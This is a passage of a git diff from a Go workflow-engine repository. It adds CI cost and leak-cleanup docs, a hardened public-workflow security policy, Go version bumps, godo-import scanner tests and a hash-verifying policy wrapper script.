title=Budget kill-switch -unarmed::...` and skips the balance-fetch step. The downstream smoke -job has `needs: [budget-check]` so it cascades to a no-op too — no -real cloud provisioning can run without the token, so the kill- -switch's safety property is preserved by the missing secret. The -hourly leak-scrubber follows the same pattern (skips with notice). -Operators arming the gate must follow the rotation procedure above -to land the secret AND verify a manual workflow_dispatch run goes -green before the gate is considered live. - -### Token security invariants - -- **NEVER** echo or log `${DO_CONFORMANCE_API_TOKEN}` in a workflow - step. The budget-check workflow references it via `env:` block - and `Authorization: Bearer ${DO_CONFORMANCE_API_TOKEN}` only. -- **NEVER** export the token to artifact / step-summary surfaces. -- The token MUST stay scoped to the dedicated account — do NOT - rotate it onto a token that has access to the production org. - -## Helper conventions - -T7.14's `scripts/file-or-comment-leak-issue.sh` dedup helper uses -two labels to distinguish operator-filed issues from auto-filed -ones: - -- `conformance-leak-incident` — primary label, attached to ALL - related issues (auto + operator). -- `auto-filed-leak` — secondary label, attached ONLY by the helper. - -> **Do not remove the `auto-filed-leak` label from helper-filed -> issues during triage.** It is the dedup key; removing it causes -> the next leak to file a NEW issue rather than appending. To stop -> the helper from dedup'ing onto a particular issue, **close the -> issue** (the helper queries `--state open`). -> -> If you need a cleaner postmortem swimlane, file a new issue with -> only the primary label `conformance-leak-incident` (NOT -> `auto-filed-leak`), link to the auto-filed issue, then close the -> auto-filed one. The next leak will re-open the dedup chain on a -> fresh helper-filed issue, leaving your postmortem issue -> undisturbed. - -The same dedup helper is reused by the budget soft-alert (label -`conformance-budget-incident` on auto + operator issues; helper -adds `auto-filed-budget` for dedup). - -## Cleanup contract - -Layers, in order of execution: - -1. **Per-test `t.Cleanup`** in the scenario body — fires on - success AND failure paths. Force-deletes the resource via the - provider's driver API. -2. **Outer-job `always()` step** in `conformance-smoke.yml` — - safety net for panicking tests where `t.Cleanup` did not run. - Calls `wfctl infra cleanup --tag --fix` (PR 4 of the IaC - deferred-cleanup plan, workflow#536). The wiring is gated on - `DO_CONFORMANCE_API_TOKEN`: when the secret is unset (workflow#542 - not yet merged), the step emits a `::notice::` and falls through to - layer 3. -3. **Hourly leak-scrubber cron** (`conformance-leak-scrubber.yml`, - added in T7.14) — lists DO resources tagged - `conformance-pr-*` older than 1 hour and deletes them. - Counts get aggregated into the dedup helper's issue body. - -If layer 3 fires more than once a day or scrubs > 3 resources in -a single run, the helper escalates by appending to the open issue. -Sustained > 3-events/day for a week is a signal to investigate the -panic source in the test code. - -## Operator interventions - -### "Conformance budget exceeded" CI failure - -Cause: month-to-date spend on the conformance account > $25. - -Steps: - -1. Check the auto-filed issue (label `conformance-budget-incident`) - for context. -2. Inspect DO billing on the conformance account; identify the - spike source. Likely culprits: a panicking test orphaning many - Droplets, or a price change in the Droplet plan. -3. If the spike was a one-off (now scrubbed), close the issue. The - next budget-check that observes spend ≤ $25 unblocks PRs. -4. If the spike persists, raise the cap (see "Changing the cap" - above) — do NOT silently bump it in CI without an audit entry. - -### "auto-filed-leak" issue keeps appending - -Cause: the leak-scrubber is finding orphaned resources every hour. - -Steps: - -1. Check the recent commits to `iac/conformance/` and provider - plugin repos for changes to scenario `t.Cleanup` blocks. -2. Inspect the most recent CI runs of `conformance-smoke.yml` for - panics in the smoke job's test step. -3. Once the panic source is fixed, close the auto-filed issue — - the next clean hour resets the dedup chain. - -## Workflow inventory - -| File | Purpose | -|---|---| -| `.github/workflows/conformance-smoke.yml` | Per-PR smoke gate (paths-filter + budget pre-step + scenario run + always() cleanup safety net) | -| `.github/workflows/conformance-budget-check.yml` | Reusable kill-switch called by every smoke job pre-step; hourly-cached DO billing query + threshold enforcement | -| `.github/workflows/conformance-leak-scrubber.yml` | Hourly cron (T7.14) that deletes orphaned `conformance-pr-*`-tagged Droplets | -| `.github/workflows/scripts/file-or-comment-leak-issue.sh` | Dedup helper (T7.14) — files OR comments on a single open issue keyed on label pair | - -## Known follow-ups - -- ~~**`wfctl infra cleanup --tag ` does not exist yet.**~~ **CLOSED.** - Implemented in workflow PR 4 of the IaC deferred-cleanup plan - (workflow#536); see `docs/WFCTL.md` `#### infra cleanup`. The smoke - gate calls the new subcommand directly when `DO_CONFORMANCE_API_TOKEN` - is provisioned. Until workflow#542 lands the conformance token, the - cleanup step in `conformance-smoke.yml` emits a `::notice::` and the - hourly leak-scrubber remains the active safety net. -- **Sister workflow in `workflow-plugin-digitalocean`** (P-DO/TP5) - — provisions the actual Droplet for the smoke run. This repo's - workflow currently exercises the in-tree self-tests until the - sister workflow lands. -- **`platform.SetDiffCacheForTest` was promoted in W-7** so - `conformance.Run` can install a deterministic noop cache before - scenarios execute. See commit `a1fba34` for the rationale. diff --git a/docs/public-workflow-policy.md b/docs/public-workflow-policy.md new file mode 100644 index 000000000..f8adcac4c --- /dev/null +++ b/docs/public-workflow-policy.md @@ -0,0 +1,189 @@ +# Public workflow policy + +Public workflow changes are checked by `.github/workflows/public-workflow-policy.yml`. +The `pull_request_target` job executes only SHA-pinned actions and the analyzer, +wrapper, module, and trust manifests from the trusted base checkout. Candidate +data is fetched without credentials from a validated `https://github.com` +repository and exact 40-hex commit, exported with +`git archive --worktree-attributes` so candidate attributes cannot hide files, +and rejected if it contains symlinks. No candidate Git worktree is checked out, +credentials are not persisted, and candidate actions, scripts, Go files, +modules, and trust +manifests are never executed. +The job has only `contents: read`, uses GitHub-hosted runners, and receives no +cloud credentials or OIDC authority. +Every public workflow, regardless of trigger or call graph, rejects every named +repository or environment secret, including the legacy `secrets.GITHUB_TOKEN` +spelling. Only the automatic repository-scoped `github.token` context is +accepted. Known cloud credentials remain categorically forbidden. Job-level +`secrets: inherit`, mapped inherited-secret values, and dynamic secret selectors +are rejected everywhere. Release publication uses only the automatic +repository-scoped GitHub token. + +Release integrity separately requires an active repository tag ruleset with +target `tag`, exact include `refs/tags/v*`, no excludes, +creation/update/deletion rules, and exactly one always-on `OrganizationAdmin` +bypass with no actor ID. The verifier trusts this behavior rather than any mutable ruleset name or +repository-local ID. The release job also fetches the fixed `main` ref and +rejects a tag commit that is not already contained in protected `main`. + +Registry, IDE, scenario, and Homebrew synchronization is consumer-owned. +Consumers poll releases or run their own scheduled/manual sync. Workflow release +jobs never hold cross-repository dispatch credentials or publish callbacks. + +Workflow authority changes use three pull requests. The presence manifest is +the canonical inventory: `present` groups bind a workflow path to its complete +context digest, while `absent` groups are explicit tombstones with no digest. +Command, action, secret, and executable authority is grouped by workflow path, +context digest, and lifecycle state so one workflow cannot consume another +workflow's approved script hash. + +1. Add one `staged` trust context group for the future complete workflow digest + while retaining the current `active` group. The current workflow selects the + active group; the staged group is tolerated only as transition data. +2. After that trust-only pull request merges, submit the workflow change. The + trusted base selects the staged group matching the candidate workflow while + tolerating the old active group. +3. After the workflow merges, submit a trust-only cleanup that removes the old + group and promotes the new group from `staged` to `active`. + +The policy implementation has a separate three-pull-request authority bundle +lifecycle in `.github/public-workflow-authority.json`. A bundle hashes the +wrapper, analyzer source/module/tests, mutation harness and fixtures, and the +operator branch-protection verifier. The authority manifest excludes itself +and excludes the five workflow trust manifests, which are validated separately +as transition data. + +1. Retain the realized `active` bundle and add exactly one `staged` bundle for + the future implementation hashes. The candidate must still realize the + active bundle. +2. After staging merges, change the implementation files so the candidate + realizes the already-trusted staged bundle. The manifest remains unchanged. +3. After adoption merges, promote the realized staged bundle to the sole + active bundle. + +The analyzer rejects a bundle that is staged and adopted in one pull request, +old implementation files after adoption or promotion, missing or extra files, +hash mismatches, symlinks, and non-regular authority paths. The manifest uses +strict JSON, exactly one active bundle, at most one staged bundle, and sorted, +unique, repository-confined file rows. The one-time exact bootstrap permits +only one fully realized active bundle. + +The same sequence covers all changes: + +- Modify: retain the active `present` digest and stage the replacement + `present` digest with all of its matching authority entries. +- Add: retain an active `absent` tombstone and stage the new `present` digest + with its authority entries. +- Delete: retain the active `present` digest and stage an `absent` tombstone; + the cleanup promotes the tombstone and removes the obsolete authority. + +Selected executable entries are hash-checked and must be referenced by their +own workflow. Staged executable entries for an unselected future context are +tolerated only during this transition and become mandatory when that context +is selected. + +The base manifests intentionally reject workflow additions, removals, or edits +made in the same pull request as their trust changes. Candidate trust manifests +are parsed only as data and must match the stage/adopt/promote transition table; +candidate-new staged rows never authorize that candidate workflow. Candidate +checker, analyzer, test, fixture, or verifier files are likewise inventoried as +data and must match an already-authorized bundle transition. They are never +executed by the trusted-base job. A candidate checker replaced with a no-op and +a same-pull-request live workflow both remain rejected by the base analyzer. + +The one-time bootstrap recognizes only pre-policy base commit +`9c364dd4e6dad83808f8a87c1ba990d0132f0372`. If and only if a push reports that +exact `github.event.before` and the trusted checkout lacks the policy files, the +newly merged `main` hash-verified, readonly wrapper self-validates the merged +data. This exception runs only on that exact push; pull-request head data is +never selected as an executable policy root. +Zero, adjacent, unknown, or later missing-policy bases fail closed. If `main` +moves before bootstrap merges, rebase and update this exact SHA through review; +never replace it with a generic missing-policy skip. After bootstrap, +subsequent `.github/workflows` changes use trusted prior-revision policy. +Because that exact base has no public policy workflow or trust manifests, the +initial bootstrap pull request finalizes all active trust atomically. The +required status check is installed immediately after the bootstrap merge; it +is necessarily absent during bootstrap because no base workflow produces it. +This exception does not apply to any later workflow-authority change. + +The same stable `Public Workflow Policy / policy` check also runs on pushes to +`main`, comparing `github.event.before` as trusted policy authority with the new +commit as candidate data. Task completion remains contingent on repository +branch protection: changes must use pull requests, require at least one +approval with stale approvals dismissed, require this exact status check from +the GitHub Actions app, block direct pushes, enforce administrators, and permit +no bypass actors. The producer binding is GitHub Actions app slug +`github-actions`, app/integration ID `15368`; a legacy name-only context is not +sufficient. + +For classic branch protection, preserve the repository's other required checks +while provisioning this exact producer-bound check. For example: + +```bash +repo=GoCodeAlone/workflow +branch=main +context='Public Workflow Policy / policy' +gh api "repos/${repo}/branches/${branch}/protection/required_status_checks" | + jq --arg context "${context}" --argjson app_id 15368 ' + .strict = true + | .checks = ([.checks[]? | select(.context != $context)] + + [{context: $context, app_id: $app_id}]) + | {strict, contexts: (.contexts // []), checks} + ' | + gh api --method PATCH \ + "repos/${repo}/branches/${branch}/protection/required_status_checks" \ + --input - +``` + +For a repository ruleset, the update payload's `required_status_checks` rule +must contain the producer ID as well; submit the full existing ruleset update +payload with rules including: + +```json +[ +{ + "type": "required_status_checks", + "parameters": { + "strict_required_status_checks_policy": true, + "required_status_checks": [ + { + "context": "Public Workflow Policy / policy", + "integration_id": 15368 + } + ] + } +}, +{"type": "non_fast_forward"}, +{"type": "deletion"} +] +``` + +```bash +gh api --method PUT \ + "repos/GoCodeAlone/workflow/rulesets/RULESET_ID" \ + --input ruleset-update.json +``` + +Confirm the observed check-run producer, then verify the configured branch or +ruleset: + +```bash +gh api repos/GoCodeAlone/workflow/commits/main/check-runs \ + --jq '.check_runs[] | select(.name == "Public Workflow Policy / policy") | {name, app: {slug: .app.slug, id: .app.id}}' + +./.github/workflows/scripts/verify-public-workflow-branch-protection.sh GoCodeAlone/workflow main +``` + +This script is read-only. It verifies classic branch protection or an active +ruleset, requires strict freshness and exact producer ID `15368`, and never +changes repository settings. An applicable ruleset must also contain both +`non_fast_forward` and `deletion` rules. The verifier reads repository metadata +and accepts `~DEFAULT_BRANCH` only when the requested branch equals the +repository's actual `default_branch`; non-default branches require their exact +`refs/heads/` selector. The same invocation also requires the exact +release-tag ruleset described above. Run this combined check as an +administrator/operator release prerequisite: GitHub intentionally hides +ruleset bypass actors from the read-only `github.token`, so the public policy +workflow cannot prove this privileged governance state. diff --git a/docs/tutorials/building-apps-with-workflow.md b/docs/tutorials/building-apps-with-workflow.md index c1134a71b..736fb3966 100644 --- a/docs/tutorials/building-apps-with-workflow.md +++ b/docs/tutorials/building-apps-with-workflow.md @@ -4,7 +4,7 @@ A hands-on tutorial for developers who want to build real applications using the Throughout this guide, the [Chat Platform example](../../example/chat-platform/) serves as the reference architecture. It is a production-grade mental health support platform built entirely from YAML configuration and dynamic Go components -- no custom server code required. -**Prerequisites**: Go 1.26.4+, the workflow server binary, and a text editor. +**Prerequisites**: Go 1.26.5+, the workflow server binary, and a text editor. --- @@ -63,7 +63,7 @@ It is not a good fit for: ### Prerequisites -1. **Go 1.26.4+** installed on your machine +1. **Go 1.26.5+** installed on your machine 2. **The workflow repository** cloned and built: ```bash diff --git a/docs/tutorials/deploy-pipeline.md b/docs/tutorials/deploy-pipeline.md index 6fcd96b91..f86c7eee9 100644 --- a/docs/tutorials/deploy-pipeline.md +++ b/docs/tutorials/deploy-pipeline.md @@ -392,7 +392,7 @@ Insert a `build-image` job between `build-test` and the deploy jobs. This compil - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 - uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6.4.0 with: - go-version: '1.26.4' + go-version: '1.26.5' - uses: digitalocean/action-doctl@3cb3953159719656269e044e0e24ca16dd2a690f # v2.5.2 with: token: ${{ secrets.DIGITALOCEAN_TOKEN }} diff --git a/example/ecommerce-app/README.md b/example/ecommerce-app/README.md index 16943b5ce..635937deb 100644 --- a/example/ecommerce-app/README.md +++ b/example/ecommerce-app/README.md @@ -439,7 +439,7 @@ npx playwright test --config playwright.config.ts ``` example/ecommerce-app/ ├── workflow.yaml # Complete application configuration (24 modules) -├── Dockerfile # Multi-stage build (golang:1.26.4 -> alpine:3.19) +├── Dockerfile # Multi-stage build (golang:1.26.5 -> alpine:3.19) ├── docker-compose.yml # Store + Prometheus + Grafana ├── README.md # This file ├── seed/ diff --git a/example/go.mod b/example/go.mod index 573c4870a..91d205c67 100644 --- a/example/go.mod +++ b/example/go.mod @@ -1,6 +1,6 @@ module example -go 1.26.4 +go 1.26.5 replace github.com/GoCodeAlone/workflow => ../ diff --git a/go.mod b/go.mod index 235669d74..c898d3950 100644 --- a/go.mod +++ b/go.mod @@ -1,6 +1,6 @@ module github.com/GoCodeAlone/workflow -go 1.26.4 +go 1.26.5 require ( charm.land/bubbles/v2 v2.1.0 diff --git a/mcp/wfctl_tools.go b/mcp/wfctl_tools.go index 9ba3d5446..81f2bf481 100644 --- a/mcp/wfctl_tools.go +++ b/mcp/wfctl_tools.go @@ -1714,7 +1714,7 @@ func mcpGenerateCDWorkflow(features *mcpProjectFeatures, registry, platforms str fmt.Fprintf(&b, " - uses: %s\n", mcpGithubActionsCheckoutRef) fmt.Fprintf(&b, " - uses: %s\n", mcpGithubActionsSetupGoRef) b.WriteString(" with:\n") - b.WriteString(" go-version: '1.26.4'\n") + b.WriteString(" go-version: '1.26.5'\n") if features.HasUI { fmt.Fprintf(&b, " - uses: %s\n", mcpGithubActionsSetupNodeRef) @@ -1917,7 +1917,7 @@ jobs: - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 - uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6.4.0 with: - go-version: '1.26.4' + go-version: '1.26.5' - name: Build plugin binaries run: | mkdir -p dist diff --git a/module/godo_absent_test.go b/module/godo_absent_test.go index e86dcd256..d8c51e3ed 100644 --- a/module/godo_absent_test.go +++ b/module/godo_absent_test.go @@ -1,41 +1,115 @@ package module_test import ( + "fmt" "go/parser" "go/token" "io/fs" + "os" "path/filepath" + "strconv" "strings" "testing" + + "golang.org/x/mod/modfile" ) -// TestGodoNotImported_InModulePackage asserts no file under module/ (including -// subdirectories) imports github.com/digitalocean/godo. This is the regression -// gate for issue #617. -func TestGodoNotImported_InModulePackage(t *testing.T) { - var files []string - err := filepath.WalkDir(".", func(path string, d fs.DirEntry, err error) error { +const godoModulePath = "github.com/digitalocean/godo" + +func isGodoModulePath(modulePath string) bool { + return modulePath == godoModulePath || strings.HasPrefix(modulePath, godoModulePath+"/") +} + +func findGodoImports(repoRoot string) ([]string, error) { + findings := []string{} + fset := token.NewFileSet() + err := filepath.WalkDir(repoRoot, func(path string, entry fs.DirEntry, walkErr error) error { + if walkErr != nil { + return walkErr + } + if entry.IsDir() && path != repoRoot { + switch entry.Name() { + case ".git", ".worktrees", "_worktrees": + return filepath.SkipDir + } + } + if entry.IsDir() || !strings.HasSuffix(entry.Name(), ".go") { + return nil + } + + parsed, err := parser.ParseFile(fset, path, nil, parser.ImportsOnly) if err != nil { - return err + return fmt.Errorf("parse Go imports in %s: %w", path, err) } - if !d.IsDir() && strings.HasSuffix(path, ".go") { - files = append(files, path) + for _, importSpec := range parsed.Imports { + importPath, err := strconv.Unquote(importSpec.Path.Value) + if err != nil { + return fmt.Errorf("unquote Go import in %s: %w", path, err) + } + if !isGodoModulePath(importPath) { + continue + } + relativePath, err := filepath.Rel(repoRoot, path) + if err != nil { + return fmt.Errorf("relativize Go import path %s: %w", path, err) + } + findings = append(findings, fmt.Sprintf("%s imports %s", filepath.ToSlash(relativePath), importPath)) } return nil }) if err != nil { - t.Fatalf("walk: %v", err) + return nil, err } - fset := token.NewFileSet() - for _, f := range files { - af, err := parser.ParseFile(fset, f, nil, parser.ImportsOnly) + return findings, nil +} + +func findGodoModuleDeclarations(repoRoot string, relativePaths []string) ([]string, error) { + findings := []string{} + for _, relativePath := range relativePaths { + path := filepath.Join(repoRoot, filepath.FromSlash(relativePath)) + contents, err := os.ReadFile(path) + if err != nil { + return nil, fmt.Errorf("read %s: %w", relativePath, err) + } + parsed, err := modfile.Parse(relativePath, contents, nil) if err != nil { - t.Fatalf("parse %s: %v", f, err) + return nil, fmt.Errorf("parse %s: %w", relativePath, err) + } + for _, requirement := range parsed.Require { + if isGodoModulePath(requirement.Mod.Path) { + findings = append(findings, fmt.Sprintf("%s requires %s", relativePath, requirement.Mod.Path)) + } + } + for _, replacement := range parsed.Replace { + if isGodoModulePath(replacement.Old.Path) { + findings = append(findings, fmt.Sprintf("%s replaces %s", relativePath, replacement.Old.Path)) + } + if isGodoModulePath(replacement.New.Path) { + findings = append(findings, fmt.Sprintf("%s uses replacement target %s", relativePath, replacement.New.Path)) + } } - for _, imp := range af.Imports { - if strings.Trim(imp.Path.Value, `"`) == "github.com/digitalocean/godo" { - t.Errorf("%s imports github.com/digitalocean/godo (issue #617 — moved to workflow-plugin-digitalocean)", f) + for _, exclusion := range parsed.Exclude { + if isGodoModulePath(exclusion.Mod.Path) { + findings = append(findings, fmt.Sprintf("%s excludes %s", relativePath, exclusion.Mod.Path)) } } } + return findings, nil +} + +// TestNoDigitalOceanGodoReferences is the repository-wide regression gate for +// issue #617. DigitalOcean implementation belongs in workflow-plugin-digitalocean. +func TestNoDigitalOceanGodoReferences(t *testing.T) { + repoRoot := filepath.Clean("..") + importFindings, err := findGodoImports(repoRoot) + if err != nil { + t.Fatalf("scan repository Go imports: %v", err) + } + moduleFindings, err := findGodoModuleDeclarations(repoRoot, []string{"go.mod", "example/go.mod"}) + if err != nil { + t.Fatalf("scan repository module declarations: %v", err) + } + for _, finding := range append(importFindings, moduleFindings...) { + t.Errorf("forbidden DigitalOcean provider dependency: %s", finding) + } } diff --git a/module/godo_scanner_test.go b/module/godo_scanner_test.go new file mode 100644 index 000000000..cc174542f --- /dev/null +++ b/module/godo_scanner_test.go @@ -0,0 +1,141 @@ +package module_test + +import ( + "os" + "path/filepath" + "strings" + "testing" +) + +func writeGodoFixture(t *testing.T, root, relativePath, contents string) { + t.Helper() + path := filepath.Join(root, filepath.FromSlash(relativePath)) + if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { + t.Fatalf("mkdir fixture directory: %v", err) + } + if err := os.WriteFile(path, []byte(contents), 0o600); err != nil { + t.Fatalf("write fixture %s: %v", relativePath, err) + } +} + +func TestGodoImportScannerUnderstandsGoSyntax(t *testing.T) { + denied := map[string]string{ + "interpreted direct": "package fixture\nimport \"github.com/digitalocean/godo\"\n", + "alias": "package fixture\nimport client \"github.com/digitalocean/godo\"\n", + "blank": "package fixture\nimport _ \"github.com/digitalocean/godo\"\n", + "dot": "package fixture\nimport . \"github.com/digitalocean/godo\"\n", + "grouped": "package fixture\nimport (\n\t\"github.com/digitalocean/godo\"\n)\n", + "subpackage": "package fixture\nimport \"github.com/digitalocean/godo/metrics\"\n", + "raw string": "package fixture\nimport `github.com/digitalocean/godo`\n", + "commented": "package fixture\nimport /* reviewed */ \"github.com/digitalocean/godo\"\n", + "one-line grouped": "package fixture\nimport (\"github.com/digitalocean/godo\")\n", + } + for name, source := range denied { + t.Run(name, func(t *testing.T) { + root := t.TempDir() + writeGodoFixture(t, root, "fixture.go", source) + findings, err := findGodoImports(root) + if err != nil { + t.Fatalf("scan imports: %v", err) + } + if len(findings) != 1 { + t.Fatalf("findings = %v, want one denied import", findings) + } + }) + } + + root := t.TempDir() + benignSource := "package fixture\n\n" + + "// import \"github.com/digitalocean/godo\"\n" + + "/*\nimport \"github.com/digitalocean/godo\"\n*/\n" + + "const interpreted = \"github.com/digitalocean/godo\"\n" + + "const raw = `github.com/digitalocean/godo`\n" + + "const multiline = `before\ngithub.com/digitalocean/godo\nafter`\n" + + "var policyData = []string{\n\t\"github.com/digitalocean/godo\",\n}\n" + writeGodoFixture(t, root, "benign.go", benignSource) + findings, err := findGodoImports(root) + if err != nil { + t.Fatalf("scan benign Go source: %v", err) + } + if len(findings) != 0 { + t.Fatalf("non-import Go text was rejected: %v", findings) + } +} + +func TestGodoImportScannerSkipsOnlyRepositoryMetadata(t *testing.T) { + root := t.TempDir() + deniedSource := "package fixture\nimport \"github.com/digitalocean/godo\"\n" + for _, relativePath := range []string{ + ".git/ignored.go", + ".worktrees/ignored.go", + "_worktrees/ignored.go", + } { + writeGodoFixture(t, root, relativePath, deniedSource) + } + writeGodoFixture(t, root, "ordinary/forbidden.go", deniedSource) + + findings, err := findGodoImports(root) + if err != nil { + t.Fatalf("scan repository imports: %v", err) + } + if len(findings) != 1 || !strings.Contains(findings[0], "ordinary/forbidden.go") { + t.Fatalf("metadata confinement findings = %v, want only ordinary source", findings) + } +} + +func TestGodoModuleScannerUnderstandsGoModSyntax(t *testing.T) { + denied := map[string]string{ + "direct require": `module example.com/fixture +go 1.26 +require github.com/digitalocean/godo v1.0.0 +`, + "indirect require": `module example.com/fixture +go 1.26 +require github.com/digitalocean/godo v1.0.0 // indirect +`, + "replace source": `module example.com/fixture +go 1.26 +replace github.com/digitalocean/godo => example.com/fork/godo v1.0.0 +`, + "replace target": `module example.com/fixture +go 1.26 +replace example.com/consumer v1.0.0 => github.com/digitalocean/godo v1.0.0 +`, + "exclude": `module example.com/fixture +go 1.26 +exclude github.com/digitalocean/godo v1.0.0 +`, + "module subpath": `module example.com/fixture +go 1.26 +require github.com/digitalocean/godo/v2 v2.0.0 +`, + } + for name, goMod := range denied { + t.Run(name, func(t *testing.T) { + root := t.TempDir() + writeGodoFixture(t, root, "go.mod", goMod) + findings, err := findGodoModuleDeclarations(root, []string{"go.mod"}) + if err != nil { + t.Fatalf("scan go.mod: %v", err) + } + if len(findings) == 0 { + t.Fatal("actual godo module declaration was accepted") + } + }) + } + + root := t.TempDir() + writeGodoFixture(t, root, "go.mod", `module example.com/fixture +go 1.26 +// require github.com/digitalocean/godo v1.0.0 +// replace github.com/digitalocean/godo => example.com/fork/godo v1.0.0 +// exclude github.com/digitalocean/godo v1.0.0 +`) + findings, err := findGodoModuleDeclarations(root, []string{"go.mod"}) + if err != nil { + t.Fatalf("scan benign go.mod comments: %v", err) + } + if len(findings) != 0 { + t.Fatalf("go.mod comments were rejected: %v", findings) + } +} diff --git a/plugin/sdk/generator.go b/plugin/sdk/generator.go index df537b67f..4e015785e 100644 --- a/plugin/sdk/generator.go +++ b/plugin/sdk/generator.go @@ -16,8 +16,8 @@ type TemplateGenerator struct{} const ( workflowReleasedVersion = "v0.18.15" workflowStrictContractsVersion = "v0.19.0-alpha.5" - workflowMinimumGoVersion = "1.26.4" - defaultPluginGoVersion = "1.26.4" + workflowMinimumGoVersion = "1.26.5" + defaultPluginGoVersion = "1.26.5" pluginManifestVersionSentinel = "0.0.0" ) diff --git a/scripts/check-public-workflow-policy.sh b/scripts/check-public-workflow-policy.sh new file mode 100755 index 000000000..0012f58b8 --- /dev/null +++ b/scripts/check-public-workflow-policy.sh @@ -0,0 +1,87 @@ +#!/usr/bin/env bash +set -euo pipefail + +wrapper_source="${BASH_SOURCE[0]}" +if [[ -L "${wrapper_source}" ]]; then + echo "policy wrapper path must not be a symlink" >&2 + exit 1 +fi +# Resolve ancestor-directory aliases physically; all later confinement checks +# and repository paths use only this canonical directory. +wrapper_dir="$(cd -- "$(dirname -- "${wrapper_source}")" && pwd -P)" +if [[ "${wrapper_source##*/}" != "check-public-workflow-policy.sh" ]]; then + echo "policy wrapper must use its canonical filename" >&2 + exit 1 +fi +case "${wrapper_dir}" in + */scripts) ;; + *) + echo "policy wrapper must reside in scripts" >&2 + exit 1 + ;; +esac +repo_root="${wrapper_dir%/scripts}" +for required_dir in \ + "${repo_root}" \ + "${repo_root}/.github" \ + "${repo_root}/.github/workflows" \ + "${repo_root}/scripts"; do + if [[ ! -d "${required_dir}" || -L "${required_dir}" ]]; then + echo "policy wrapper repository path is not a canonical directory" >&2 + exit 1 + fi +done +policytool="${repo_root}/.github/workflows/policytool" +if [[ ! -d "${policytool}" || -L "${policytool}" ]]; then + echo "policytool root must be a real non-symlink directory" >&2 + exit 1 +fi + +sha256_file() { + if command -v sha256sum >/dev/null 2>&1; then + sha256sum "$1" | awk '{print $1}' + elif command -v shasum >/dev/null 2>&1; then + LC_ALL=C shasum -a 256 "$1" | awk '{print $1}' + else + echo "no SHA-256 implementation available" >&2 + exit 1 + fi +} + +verify_policytool_layout() { + while IFS= read -r policytool_path; do + relative_path="${policytool_path#"${policytool}/"}" + if [[ -d "${policytool_path}" && ! -L "${policytool_path}" ]]; then + continue + fi + if [[ ! -f "${policytool_path}" || -L "${policytool_path}" ]]; then + echo "policytool path must be a regular non-symlink file: ${relative_path}" >&2 + exit 1 + fi + done < <(find "${policytool}" -mindepth 1 -print | LC_ALL=C sort) +} + +verify_policytool_file() { + local relative_path="$1" + local expected="$2" + local actual + actual="$(sha256_file "${policytool}/${relative_path}")" + if [[ "${actual}" != "${expected}" ]]; then + echo "policytool hash mismatch for ${relative_path}" >&2 + exit 1 + fi +} + +verify_policytool() { + verify_policytool_layout + verify_policytool_file main.go 8dba6ad341fa07644868fd43717aff162c4feae1694ee9a122ef4cd401214a00 + verify_policytool_file main_test.go a88f4ec70a2736e54bf887594da855fb6d25d2cecb35321cd5fa8a2455304212 + verify_policytool_file go.mod 0a2d135980310757f36e733161b94498b4e0a1b6ac8c6de8a799f542d6c9ddb8 + verify_policytool_file go.sum 790ef858e5aeed12269a69e764ac69c02c3877678b0e7d9384ad3728b6e09f6c +} + +cd "${policytool}" +verify_policytool +env GOWORK=off GOFLAGS=-mod=readonly go mod download +verify_policytool +exec env GOWORK=off GOFLAGS=-mod=readonly go run ./main.go --repo "${repo_root}" "$@" diff --git a/scripts/fixtures/public-workflow-policy/lifecycle-future.yml b/scripts/fixtures/public-workflow-policy/lifecycle-future.yml new file mode 100644 index 000000000..06ef2cdbe --- /dev/null +++ b/scripts/fixtures/public-workflow-policy/lifecycle-future.yml @@ -0,0 +1,13 @@ +name: Lifecycle future +on: pull_request +permissions: + contents: read +defaults: + run: + shell: bash +jobs: + test: + runs-on: ubuntu-latest + steps: + - run: echo future + - run: ./scripts/lifecycle.sh diff --git a/scripts/fixtures/public-workflow-policy/lifecycle-old.yml b/scripts/fixtures/public-workflow-policy/lifecycle-old.yml new file mode 100644 index 000000000..200fad6ec --- /dev/null +++ b/scripts/fixtures/public-workflow-policy/lifecycle-old.yml @@ -0,0 +1,13 @@ +name: Lifecycle old +on: pull_request +permissions: + contents: read +defaults: + run: + shell: bash +jobs: + test: + runs-on: ubuntu-latest + steps: + - run: echo old + - run: ./scripts/lifecycle.sh diff --git a/scripts/fixtures/public-workflow-policy/pass-expression-and-deny-guard.yml b/scripts/fixtures/public-workflow-policy/pass-expression-and-deny-guard.yml new file mode 100644 index 000000000..03a89be88 --- /dev/null +++ b/scripts/fixtures/public-workflow-policy/pass-expression-and-deny-guard.yml @@ -0,0 +1,28 @@ +name: No secrets are used by provider rejection guards + +on: + pull_request: + +defaults: + run: + shell: bash + +jobs: + reject-provider-markers: + name: No secrets are used + runs-on: ubuntu-latest + permissions: + contents: read + env: + STATUS_MESSAGE: ${{ format('No secrets are used by {0}', github.actor) }} + steps: + - name: Reject provider execution markers + env: + PROVIDER_DENY_PATTERN: digitalocean/action-doctl|api.digitalocean.com|doctl + run: | + if rg "${PROVIDER_DENY_PATTERN}" .github/workflows/; then + echo 'provider execution marker crossed the boundary' + exit 1 + fi + - name: Ordinary path arguments are not commands + run: go test ./... diff --git a/scripts/fixtures/public-workflow-policy/pass-negative-guard.yml b/scripts/fixtures/public-workflow-policy/pass-negative-guard.yml new file mode 100644 index 000000000..0b24634ee --- /dev/null +++ b/scripts/fixtures/public-workflow-policy/pass-negative-guard.yml @@ -0,0 +1,21 @@ +name: Credential-free negative provider guard + +on: + pull_request: + +defaults: + run: + shell: bash + +jobs: + boundary-guard: + runs-on: ubuntu-latest + permissions: + contents: read + steps: + - name: Reject provider dependencies + run: | + if rg 'digitalocean/action-doctl|api.digitalocean.com|doctl' internal/; then + echo 'provider dependency crossed the boundary' + exit 1 + fi diff --git a/scripts/fixtures/public-workflow-policy/pass.yml b/scripts/fixtures/public-workflow-policy/pass.yml new file mode 100644 index 000000000..ba9e03a4b --- /dev/null +++ b/scripts/fixtures/public-workflow-policy/pass.yml @@ -0,0 +1,53 @@ +name: Credential-free examples + +on: + pull_request: + schedule: + - cron: '30 4 * * 1' + +permissions: + contents: read + +defaults: + run: + shell: bash + +jobs: + local-integration: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 + - uses: 